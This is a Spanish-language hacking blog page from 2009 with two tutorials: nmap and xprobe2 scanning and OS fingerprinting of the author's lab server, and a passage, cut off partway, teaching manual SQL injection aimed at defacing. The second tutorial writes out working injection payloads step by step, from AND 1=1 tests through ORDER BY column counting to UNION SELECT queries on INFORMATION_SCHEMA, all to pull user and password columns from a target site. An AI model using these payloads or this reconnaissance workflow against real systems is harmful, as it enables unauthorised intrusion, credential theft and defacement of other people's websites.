##################
#Author: Bryant Arias
#Colaborators: Antrax
#blog: http://h4xxor.blogspot.com
#web: http://el-hacker.com
#contact: blood_rec @el-hacker.org
#Musica Durante: Dream Theater :D
#Fecha : 29 de julio 2009
##################
Importancia de El
################################
# Analisis De Puertos,Identificacion de sistema,servicios del mismo...
################################
================================
A-Introduccion:
A La hora de identificar u realizar una tarea de auditoria web en un servidor muchos cometen el error o caen en la actividad que al comenzar una tarea de auditoria siempre se van con la busqueda de las vulnerabilidades primero o a usar sus SSS (Shadow Security Scanner)...
A LA hora de identificar un sistema u realizar una auditoria podemos hacer las cosas bien a nivel de servidor/cliente,y como en el sexo debemos empezar primero poco a poco o no me van a decir que a la hora de estar con una chica llegan se lo meten y ya en tan solo 3 meses la chica lo mandara al carajo xD...
pues los sistemas son asi debemos ir poco a poco para interactuar con ellos ya que con solo identificar el sistemas scannear los puertos y servicios (Deamons) que gestiona el mismo podemos hacer cosas maravillosas sin nesesidad de utilizar otras tecnicas...
a veces se les puede tornar aburrido pero de esto se trata esto mientras mas areas vas cubriendo en el tema mucho mas acto eres para llegar a tus objetivos...solo me voy a basar en teorias y algunas practicas y pruebas que realizo en mi servidor local,donde poseo algunas aplicaciones vulnerables y no vulnerables pero podemos vulnerarlas atacando sus servicios u cosas xD...
El servidor en el cual esta todo instalado es un servidor Ubuntu 8.10 Kernel Generico Apache/2.2.9 Suhosin-Patch Server con algunas aplicaciones como joomla,smf,wordpress y otro scripts programados. el servidor obviamente esta en mi red local., la maquina auditora esta con Slackware Kernel 2.6.21.5 (Una Laptop) y a la que la e convertido en una suite de pentesting...xD
B-Comienzo:
Bueno comenzaremos con Nmap O Zenmap cualquiera de los 2.ya que los comandos son practicamente lo mismo pero nos orientaremos a la primera ya que usaremos la consola en lo personal lo prefiero ya que es un poco mas rapido y de verdad que no me gusta la GUI de la misma xD para los gusto los colores y para el culo los mojones....xD pero pueden usar la que gusten...
Nmap es un scanner de puertos y servicios hasta con el mismo puedes identificar sistemas operativos de manera remota una herrmienta imprecindible para cualquier auditor,experto en seguridad,Administrador De Red,Sistema,Servidor,Lammer,Hacker,noob,geek,hasta el user normal pero es imprecindible si a estas alturas no sabes lo que es te ivito que busques en internet u entre a la pagina del autor.:
http://www.insecure.org/nmap
Sigamos Para comenzar con un scanneo Basico veremos La manera de comenzar son comandos muy faciles de aprender de memoria pero empezemos poco a poco
Voy a Probar scaneando el servidor con las reglas del firewall excluyendo a la maquina auditora a ver que sucede?:
[ go0ns @squad # nmap 192.168.56.1
Starting Nmap 4.60 ( http://nmap.org ) at 2009-06-26 23:29 GMT
All 1715 scanned ports on 192.168.56.1 are filtered
MAC Address: 00:76:62:6E:65:74 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 49.736 seconds ]
Acabamos de ver que el firewall de esa manera nos bloqueo todos los pedidos dejandonos muchos logs en el servidor auditado:
[ Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:636 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Ldaps
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:1723 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Tacacs
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:113 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Auth
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:23 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Telnet
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:53 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:DNS
Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:HTTP
Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Klogin ]
UFF jajaja solo son algunos de los que puede dejar ok agregamos una regla que es lo que un servidor normal pues deberia tener ya que debe dejar la entrada de las ip's pero no en todos los caso ya que las reglas aplican a algunos puertos pero excluyen a muchos pero aprenderemos como sacar el mejor provecho posible... Ahora Vamos Y Realizamos:
[ go0ns @squad # nmap 192.168.56.1
Starting Nmap 4.60 ( http://nmap.org ) at 2009-06-26 23:28 GMT
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
1241/tcp open nessus
2500/tcp open rtsserv
MAC Address:Unknown)
Nmap done: 1 IP address (1 host up) scanned in 13.743 seconds
]
Ya tenemos identificado al menos lo inicial y miremos que tenemos como pudieron ver fue un scan bien basico solo los puertos /tcp como la mayoria de los scanners en la jungla esto scans son bien agresivos y siempre son agarrados por el firewall como vimos en el primer caso terminando por banear nuestra ip si el administrador tiene buenas reglas n el firewall:
#####################
#Puerto | Servicio #
#####################
#25/tcp | smpt #
#80/tcp | http #
#110/tcp | pop3 #
#1241/tcp| nessus #
#2500/tcp| rtsserv #
#####################
Bueno analizemos tenemos 5 puertos identificados de primera instancia que se gestionan bajo el protocolo /tcp si no teneis conocimiento sobre que es el protcolo /tcp u los otros protocolos similares /udp y cosas pues no continues leyendo e instruyete desde 0 mijo...
en fin con el scaneo sencillo identificamos solo esos puertos como pudieron apreciar que el log del scan nos indica tambien que se encontraron Not shown: 1710 closed ports que estan entiendase o cerrados o filtrados Huh entonces preguntaran de como es posible si es una herramienta de scaneo de puertos y servicios pero de esto se trata de poder hacer las identificaciones especificas..
ahora queremos saber que sistema operativo tiene siempre como root asumiendo que estais en linux (igual puede hacerlo desde el otro sistema operativo) xD ok, pues realizamos
[ go0ns @squad # nmap -O 192.168.56.1
Starting Nmap 4.60 ( http://nmap.org ) at 2009-06-26 23:32 GMT
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
1241/tcp open nessus
2500/tcp open rtsserv
MAC Address: (Unknown)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=4.60%D=6/26%OT=25%CT=1%CU=33422%PV=Y%DS=1%G=Y%M=007662%TM=4A455AA
OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC
OS:D=1%ISR=CD%TI=Z%II=I%TS=U)OPS(O1=M5B4%O2=M5B4%O3=M5B4%O4=M5B4%O5=M5B4%O6
OS:=M5B4)WIN(W1=16D0%W2=16D0%W3=16D0%W4=16D0%W5=16D0%W6=16D0)ECN(R=Y%DF=Y%T
OS:=40%W=16D0%O=M5B4%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)
OS:T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(
OS:R=N)U1(R=Y%DF=N%T=40%TOS=C0%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUL
OS:=G%RUD=G)IE(R=Y%DFI=N%T=40%TOSI=S%CD=S%SI=S%DLI=S)
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.029 seconds
]
Bueno pudieron apreciar que nmap reacciono casi de la misma manera que con el 2do intento con un scaneo de puertos sencillo en los protocolos /tcp pero en este caso usamos el argumento -O para scanear el posible sistema operativo, como funciona? nmap envia cadenas especializadas a dos puertos especificos uno cerrado y uno abierto, estolo hace con el proposito de que cada sistema operativo reacciona de manera diferente a estas peticiones y como pudieron ver el scanner tubo problemas descubriendo el server que como mencione antes era ubuntu 8.10 pero igual vean los primeros resultados que se acercan a lo que queremos:
[ OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC ]
Los comandos basicos de nmap los pueden ir encontrando poco a poco que tal si cambiamos un poco los comandos para que vallan haciendose una idea y familiarizandose con dicho programa y la manera que tenemos como siempre de llagar a nuestro objetivo en este caso usaremos un scaneo intensivo pero rapido que se supone que nos arroje los resultados mas imprecindibles..
[go0ns @squad # nmap -T Aggressive -A -v 192.168.56.1
Starting Nmap 4.60 ( http://nmap.org ) at 2009-06-27 01:43 GMT
Initiating ARP Ping Scan at 01:43
Scanning 192.168.56.1 [1 port]
Completed ARP Ping Scan at 01:43, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:43
Completed Parallel DNS resolution of 1 host. at 01:43, 13.00s elapsed
Initiating SYN Stealth Scan at 01:43
Scanning 192.168.56.1 [1715 ports]
Discovered open port 25/tcp on 192.168.56.1
Discovered open port 80/tcp on 192.168.56.1
Discovered open port 110/tcp on 192.168.56.1
Discovered open port 2500/tcp on 192.168.56.1
Discovered open port 1241/tcp on 192.168.56.1
Completed SYN Stealth Scan at 01:43, 0.55s elapsed (1715 total ports)
Initiating Service scan at 01:43
Scanning 5 services on 192.168.56.1
Completed Service scan at 01:43, 11.47s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.1
SCRIPT ENGINE: Initiating script scanning.
Initiating SCRIPT ENGINE at 01:43
Completed SCRIPT ENGINE at 01:43, 5.05s elapsed
Host 192.168.56.1 appears to be up ... good.
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_ SMTP: HELP with errors or timeout. Enable --script-trace to see what is happening.
80/tcp open http Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)
|_ HTML title: Index of /
110/tcp open pop3 hotwayd pop3d 0.8.4
1241/tcp open ssl/unknown
2500/tcp open smtp-proxy hotsmtpd based on hotwayd 0.8.4
MAC Address: (Unknown)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.13 - 2.6.23
Uptime: 0.089 days (since Fri Jun 26 23:35:55 2009)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=201 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: go0ns.s3rver
Read data files from: /usr/local/share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.036 seconds
Raw packets sent: 1735 (77.100KB) | Rcvd: 1731 (80.266KB) ]
Uff que lectura mas larga pero vamos a ver que datos contiene que nos pueden ayudar y ya se habran dado de cuenta de la gran diferencia con los resultados y el cambio de Parametros.
Veamos primero el scan y estas opciones para ver lo que relativamente es importante antes de probar este de ahora tratamos de identificar el sistema operativo lo que realizo fue adivinar el sistema operativo pero esta vez logramos de dar con el mismo mas especificamente y dar con los servicios que gestiona el mismo como los deamons miremos:
[ PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_ SMTP: HELP with errors or timeout. Enable --script-trace to see what is happening.
80/tcp open http Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)
|_ HTML title: Index of /
110/tcp open pop3 hotwayd pop3d 0.8.4
1241/tcp open ssl/unknown
2500/tcp open smtp-proxy hotsmtpd based on hotwayd 0.8.4 ]
Como podemos ver identifica nuevamente los puertos ya mencionados asi como los servicios y la version y magicamente identifica el sistema operativo que gestiona el server :
[ Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch ]
Sonrisa y la otra parte relativamente importante es que identifica la version de los servicios aunque esto no es tan fundamental por que puede que sea un falso asi como uno correcto pero aqui es que llega la intuicion del auditor de usar la logica ya que puedes ir teoricamente buscando cual es la version real de dicho servicio con la identificacion del sistema operativo.
y que resume esto? que podemos darnos con el escenario que la aplicacion web no es vulnerable pero si los servicios o deamons del mismo y podemos vulnerarla por ahi xD ELEMENTAL NO?
por eso es que es bien importante los scaneos de identificacion por que de muchas maneras puedes encontrar las vulnerabilidades si no lo son a nivel web son a nivel server pero siempre encontraras algo.Sigamos
[ OS details: Linux 2.6.13 - 2.6.23 ]
Nos indica mas o menos el kernel que corre bajo el sistema operativo pero no siempre se da este caso del mismo las mayoria de las veces lo atina..
otra de las herramientas que podemos encontrar por la jungla de la web es xprobe2 para la identificacion de sistemas operativos veamos:
[ go0ns.squad # xprobe2 -v 192.168.56.1
* Primary guess:
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.22" (Guess probability: 100%)
* Other guesses:
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.23" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.21" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.20" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.19" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.24" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.25" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.26" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.27" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.28" (Guess probability: 100%)
* Cleaning up scan engine
* Modules deinitialized
* Execution completed ]
casi igual como nmap lo unico que este tiene tareas mas especificas en la identificacion de sistemas operativos y nos arroja el mismo resultado que muchas veces pued confundir pero a medida que vallan perfeccionando las tecnicas dan con los mismos.
Otra herramienta que nos puede ayudar en la identificacion de sistemas y objetivos de la informacion del mismo es Maltego que se puede descargar desde Paterva.com con la que pueden sacar emails,directorios,archivos,dominios,sub dominios y otras cosas del servidor identificado.
entonces que es lo que quiero adentrar y detallar mas aqui solo queria explicarles que para identificar vulnerabilidades en un servidor no tienes primero que comenzar por la aplicacion web nesesariamente con tan solo con la identificacion misma del sistema puedes abrir muchas posibilidades a descubrir muchas mas cosas que solo las vulnerabilidades que tiene la web o el servidor...
si ya saben que pueden encontrar una aplicacion web en un servidor que no sea vulnerable que buscas por lados y no encuentras nadas pero se te olvido buscar los servicios que tiene el server pero cuando scaneas encuentras que tiene varios deamons que son vulnerables como el mencionado arriba que gestiona el correo postfix donde corre el servicio smpt y supongamos que ese servicio contiene un deamon que sea vulnerable a un buffer overflow o (desbordamiento) como quieran decirle entonces BINGO !!! haz encontrado algo al menos en mi servidor local solo hay muy ocos servicios gestionandose.
pero siempre alla fuera en la jungla encontrarn muchicimo mas como servicios de mysql,mssql,u otras cosas interesantes..
entonces siempre recuerden que la identificacion de sistemas es lo primero que debemos hacer a la hora de buscar vulnerabilidades en una web por que puedes llegar a encontrar puertas abiertas sin tener que registrar la aplicacion web y no te imaginas las posibilidades que hay dentro del mismo..
si si te preguntas SE PUEDE USAR NMAP PARA BUSCAR VULNERABILIDADES? no y si por que no te identificara las vulnes de primera instancia pero realiza algunas cadenas de reglas como metodos de scan que te audarian a identificar servicios sin actualizacion vulnerables a algunos ataques..
espero que esta breve explicacion sobre la importancia de la identificacion y puertos de un sistema les haya gustado ya Breve Pasamos al proximo Paper y Aqui les dejo una listita de algunas herramientas que te ayudarian en este renglon:
nmap
Zenmap
Amap
Maltego
httprint
unicornscan
xprobe
son herramientas con usos similares pero les pueden acomodar tareas especificas para sacarle provecho...
Greetz: JosS,alevsk,ANTRAX,h4n0wars,e-r00t.org,security-shell members,Darvein,y mis hijos por crecer tan rapido carajo xD..
###########
#blood_rec#
###########
para leer el papel mas completo:
Link
Link
Blog Enfocado A la Seguridad Informatica El Hacking y Exploits. Hacking, Exploits, Seguridad Web,Bugs, Virus, Descargas de Programas de Hacking, Defacing, Noticias Open source,Videos ,Manuales en fin un mundo diferente
Mostrando entradas con la etiqueta manuales. Mostrar todas las entradas
Mostrando entradas con la etiqueta manuales. Mostrar todas las entradas
miércoles, 29 de julio de 2009
Cubriendo Y Aplicando Teorias De Inyecion Sql
###################################
#Author: Bryant Arias #
#Colaborators: Antrax #
#blog: http://h4xxor.blogspot.com #
#web: http://underc0de.org #
#contact: blood_rec@el-hacker.org #
###################################
##################################
# Cubriendo Y Aplicando Teorias De Inyecion Sql
##################################
==================================
A-Introduccion:
Este Paper pretende cubrir 2 areas Teoria Y Practica si no te gusta leer mucho simplemente Erase (borra) el paper con este paper pretendemos cubrir todo lo referente recopilando info y con los conocimientos limitados que tenemos queremos simplemente dar una guia referente al tema es como el Paper de "Defacing De La Manera Correcta" pero esta vez con practicas y lectura para entretener al usuario que quiere adentrarse en el tema del defacing.
es imprecindible que no traten de saltar ninguna area ya que pretendemos cubrir lo mas extenso posible para que tenga un buen enfasis de lo que realizan y el escenario que enfrentaremos alla afuera en la web
ya e escribido varias veces sobre las vulnerabilidades webs y ciertamente cada vez que pasan los dias la tecnologia y la web se va moviendo a pasos Agigantados hasta el punto que se a vuelto en el medio publicitario mas grande de estos dias.
pero a medida que nos movemos muchos quieren convertirse en desarrolladores de aplicaciones asi como webmasters u administradores de servidores webs,la competencia es amplia y asi como es amplia las vulnerabilidades aumentan asi como las viejas (vulnerabilidades) siguen haciendo presencia en nuestros scripts (me incluyo) por que estamos sujetos a cometer errores con nuestras aplicaciones.
ya los que me conocen saben que soy bien teorico en este tema y me gusta abarcar el medio Pero Por que lo hago? el conocimiento del hombre esta bajo unas letras y mientras mas entendamos el tema podemos aplicar todo lo que se explica dentro de el.
En este paper estaremos cubriendo las areas mencionadas en el menu arriba y asumimos que la practica la llevaras a cabo en tu servidor local L.A.M.P <> W.A.M.P, sea el escenario en una red LAN de tu propiedad o el escenario ya mencionado pero asumimos que todo es con motivo educacional y proponiendo los problemas ya mencionados en el tema.
asumimos que si estas leyendo este paper tienes conocimientos basicos de php si no es asi puedes pasar por http://php.net y ahi podras encontrar mucha info al respecto, asi como puedes encontrar informacion en http://google.com = search - php manuales xD. y pases por el buscador a buscar referencias sobre lo que no entiendan asi como los otros lenguajes al menos conocimientos basicos como en perl,html,javascript etc pero al menos lo basico...
Segun Wikipedia:
SQL Injection es una vulnerabilidad en el nivel de la validación de las entradas a la base de datos de una aplicación. Una inyección SQL sucede cuando se inserta o “inyecta” un código SQL “invasor” dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el
código “invasor en la base de datos.
bueno a lo que vivnimos...
#####################################
B-Inyecciones SQL (SQL Injections):
Primero asumo que llegastes a este manual por que quieres aprender como se realiza este ataque y muchas veces debes haber leido esta explicacion pero muchos que empieza este tema pues aun no se enteran de que se trata esto y que significa pues como lectura obligatoria pongo su significado.
Inyeccion Sql Es cuando un comando SQL que es un lenguaje de gestion de datos es ejecutado con las intenciones de obtener data de una base de datos,en palabras mas tecnicas estamos haciendo una consulta arbitraria de un comando peviamente establecido., y de esa manera manipulamos la aplicacion que queremos.
No es algo muy avanzado ni muy nuevo en nuestro mundo under y realmente se pregunta constantemente pero que herramientas debo usar para hacer inyecciones sql's ?
realmente no nesesitas muchas tools con solo firefox bastara xD http://mozzila.org/firefox ,...
explotar validaciones de aplicaciones que se gestiones por base de datos mysql son el escenario que realmente perseguimos o un ejemplo de probar dicha vulnerabilidad,...
Obviamente no puedo llenarlos de letras explicando todo esto todo el dia por que igual me criticarian y a mi me facina escribir pero en fin vallamos mas adelante:
1-Detectando La Vulnerabilidad:
Bueno lo primero que nesesitaremos es obviamente la curiosidad y la malicia pongamos el escenario asi; entramos en una pagina dinamica en php y nos pide una autentificacion., obviamente no la tenemos y tendremos que registrarnos interactuando con una forma en php que asi mismo ella interactua con una base de datos para incluir el usuario.
ok para saber como interactuan ambas sabmos que cuando registras un usuario en una forma y queda registrado en la base de datos quedan guardados en una tabla o en muchas de ellas seria en la tabla de miembros y el usuario asi como el password quedan guardados en diferentes columnas., detente si no tienes idea de esto es hora que te pases por http://wikipedia.org/SQL .
Cuanod te logeas en la forma la aplicacion busca la DATA del usuario en la tabla del usuario que proporcionastes asi como el password, asi la aplicacion despues de encontrar el usuario y contrasena que suplistes te dejara logearte en dicha aplicacion., si se diera el caso que los datos son icorrectos pues la aplicacion te lo informara que los datos son icorrectos o el usuario que proporcionaste no existe etc., ya a de haberle pasado alguna vez..
SQL puede darte estos datos en pantalla tambien y mostrar la informacion dentro de una palicacion web., eso en el ejemplo de las formas de logeo asi como si la aplicacion tiene una seccion de posteo de links pues tendra una tabla en la base de datos que guarda y gestiona los links publicados, lo mismo para noticias, una tabla que guardara los nombres de las noticias, en este caso la mayoria de las veces estas noticias u cosas,artculos se identifican la mayoria de las veces en las tablas por un numero.
como nos damos de cuenta cual es ese numero si miramos la url del sitio que estamos probando dira o sera asi
---> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=69 ]
la url le dice al sitio ue mire la tabla que tiene el nombre del articulo que es :
[ ArticuloID que es "69" ]
Una vez que el sitio busca la tabla del "ArticuloID" que se Busca la misma linea que se llama "Titulo" Dentro de la columna y la muestra en tu navegador.
En este otro caso veremos "lammer" como titulo de nuestro Articulo, recuerden que es bien importante ver que esta escrito despues de '=' que es parte de un comando SQL siempre tengamos eso en mente:
####################
#Articulo_Id#Titulo#
#===========#======#
#69 #lammer#
#70 #kiddie#
#71 #noob #
####################
OK y entonces que es lo que debemos hacer ya que tenemos nuestra victima? ok ejecutaremos comandos manualmente a ver si nuestra aplicacion es vulnerable,realizando nuestras consultas via navegador (firefox) xD, ejecutaremos ese comando siempre despues de '=' si es el caso que queremos inyectar en la forma que nos muestra los articulos,etc., si es el caso que es una forma de autentificacion sease usuario + password pues los comandos los ejecutaremos en los campos mencionados. como una barra de busqueda una barra de usuario o password.
si es vulnerable siempre el sitio hara lo que le digas que haga solo manipulando las consultas SQL xD
Es muy importante siempre leer y aprender sobre lo que estas haciendo aprender los comandos y todo aplicarlo a full ya que de esa manera la practica te hara un maestro. Memorizarte poco a poco te hara bien y entonces nos familiarizamos con algunos comandos SQL:
#######################
Comando ## Uso #
=======================
ORDER BY Le Ordena Al sitio que nos muestre la columna en la misma pagina que estamos visualizando#
OR El Comando se usa si una sentencia es verdadera dentro de la consulta SQL #
+ Se Usa En Vez De Usar Espacio Lease,Entiendase la tecla de Espacio [Space] #
-- Termina Una sentencia de comandos SQL asi como lasm ';' en perl etc #
AND Ambas consultas tienen que ser verdaderas dentro de la base de datos Para ser llevada #
UPDATE Cambia la informacion dentro de una Columna O Una Tabla #
SELECT Especifica Informacion En una Tabla #
##################################
La manera mas sencilla de aplicar una inyeccion sql,es burlando autentificaciones,que son nada mas o menos que las autentificaciones de usuario y password:
pero en este caso probaremos con una consulta bien elemental dentro del mundo de las inyecciones sql y es con tan simple el uso de (') comilla , sabemos que en la forma el usuario y el password esta rodeado de comillas simples "'" entonces si sometemos a la forma una simple comilla te arrojara un error dado que hay 2 "'" (comillas) invisbles en la forma si sometemos a' te arrojara el error comun cuando hay un error de consulta SQL en el servidor obviamente nos daremos cuenta pero que realmente esta pasando detras de nostros ?:
cuando sometimos ' el servidor envio una consulta a la base de datos para interpretar ' que en los campos mencionados arriba estan rodeados de ellas 'usuario' seria el ejemplo al servidor no encontrar nada en la base de datos que consulte ese comando ni en las tablas ni en las lineas ni en las columnas por ende es un error del programador (entiendase) una vulnerabilidad aunque no en todos los casos.
siempre dentro de una base de datos tenemos el INFORMATION_SCHEMA que guarda cada nombre de las tablas y de las columnas de un sitio en siempre un servidor tendra el INFORMATION_SCHEMA como dato obvio su nombre nunca cambiara las tablas dentro de INFORMATION_SCHEMA que guarda los nombres de las otras tablas tendran una tabla dentro que se llamara INFORMATION_SCHEMA.TABLES el nombre de la columna que guarda la informacion que practicamente queremos se llama a su vez table_name la tabla que guarda el nombre de las otras columnas dentro de INFORMATION_SCHEMA se llama INFORMATION_SCHEMA.COLUMNS y sucesivamente la columna que guarda la informacion que queremos de esta parte se llama column_name recuerden que esto es dentro de INFORMATION_SCHEMA.COLUMNS., ya se les esta haciendo claro no?. xD
como explique antes podemos siempre encontrar la caracteristica que el sitio web que gestiona la base de datos siempre tiene "=" en su URL por ende que para ejecutar los comandos tenemos que hacerlo luego de "=" ok simplemente prueba con los comandos o consultas despues de...
ok vamos a nuestro escenario imaginario:
estamos navegando y nos encontramos nuevamente con la web:
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10 ]
ok vamos a determinar si es vulnerable
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=0-- ]
bueno aqui lo que paso fue lo siguiente es que se supone que se muestre el articulo 10 solo se mostrara si 1 es igual que 0, en este caso "AND" significa que para que el articulo 10 se muestre en el sitio debe existir (en la base de datos) "AND" 1 debe ser igual que 0, esto ocacionara que no se muestre el articulo ya que 1 no es igual que 0 .
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=1-- ]
se muestra el articulo 10 si el 1 es igual que el 1 .,el articulo se mostrara en la pagina ya que "AND" 1 es igual que 1 .,Ahoea sabemos que la aplicacion es vulnerable ya que se muestra cuando queremos y no lo haces cuando queremos xD., es hora de continuar con nuestro ataque ;-)
Ahora queremos encontrar las columnas de nuestro sitio:
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+1-- ]
"ORDER BY 1" donde esta "1" es el numero de la columna lo que hace es mostrarnos la primera columna en la pagina.,"ORDER BY 2" nos mostrara la 2 columna en la pagina., sucesivamente vamos aunmentando los valores del numero sumandole (+) uno hasta que nos muestre un error en la pagina y entonces cuando nos muestra el error la restamos uno de los numeros que pusimos y no te olvides de ese numero por ejemplo si sumastes numeros y te dio el error cuando pusistes hasta 6 entonces seria asi:
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+5-- ]
bueno ya sabemos que tiene 5 columnas la aplicacion., ahora queremos conseguir el nombre de las tablas que ya arriba habiamos mencionado este comando pues eso lo haremos de esta manera:
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,4,5+FROM+INFORMATION_SCHEMA.TABLES-- ]
OK expliquemos esa sentencia SELECT Le indica al sitio que muestre la informacion de la tabla que usted especifica.,en este caso acabamos remplazando el numero del articulo que era 69 por un caracter negativo "-".,recordemos tambien que en pasos anteriores para buscar la columna ibamos sumandole numeros y agregandolos a la url pues en este caso los vamos poniendo uno al lado del otro separados de una coma "," (1,2,3,4,5).
Se supone que a estas alturas uno de esos numeros que pusistes en la consulta de la URL al menos uno se muestre en el website (pantalla).
ahora lo que iremos es remplazando los numeros en la URL por palabras si se van mostrando en la pantalla..
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES-- ]
Recuerden que deben remplazar un al menos uno de los numeros con "nombre_tabla" que es el nombre de la tabla.,FROM+INFORMATION_SCHEMA.TABLES recuerden tambien que esto te mostrara el nombre de la tabla que ya eso lo explicamos arriba.,el nombre de la tabla numero 4 que fue la que remplazamos se mostrara en la pantalla.,...
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES+WHERE+nombre_tabla>'displayed_table'-- ]
Estamos seguros que "nombre_tabla" no es la que buscamos y la que queremos es la que tiene los usuarios y los passwords.,para navegar una lista de tablas y encontrar la tabla correcta agregamos:
[+WHERE+nombre_tabla>'displayed_table']
Displayed_table muestra la tabla incorrecta despues de TABLES por ende este comando displayed_table nos muestra la tabla siguiente despues de.,entonces lo que hacemos es que repetimos el paso anterior hasta que nos muestre una tabla deseada que en este caso la que queremos es la que contenga los usuarios.,ya cuando la consigas no olvides el nombre de la tabla que querias.,
Ahora queremos sacar nuestra columna o nombre de la columna:
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_S
CHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'-- ]
Entonces FROM+INFORMATION_SCHEMA.COLUMNS lo que hace es mostrarnos el nombre de las columnas en la tabla 'CuentasUsuarios'.,ahora en vez de mostrarse el nombre de la tabla se mostrara el nombre de la columna en la tabla 'CuentasUsuarios'..
como en pasos anteriores tenemos un blanco especifico y ahora en este caso buscar la columna especifica:
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'+AND+nombre_columna>'displayed_column'-- ]
como reiteradamente mencione antes,queremos buscar la columna especifica de igual manera que hicimos para conseguir la tabla de usuarios antes.,si lo que queremos son los usuarios y passwords pues sabemos que debemos buscar las columnas que tengan nombres similares a usuarios,passwords,user,pass,logeo,acceso etc.
el comando anterior lo que hace es mostrar la columna que va siguiente a la mostrada que habiamos sacado previamente, y como ya mencione en el paso de sacar las tablas repetiremos los pasos hasta dar con la columna que queremos.
y ya dimos supuestamente con las columnas que queriamos que se llaman 'usuario' 'acceso' no olvidemos estas columnas tampoco,asumiendo que apuntaron los resultados para tener nuestra inyeccion final recordamos que los datos serian asi
##################################
#Nombre de Tabla Columnas#
##################################
#CuentasUsuarios usuario #
# acceso #
##################################
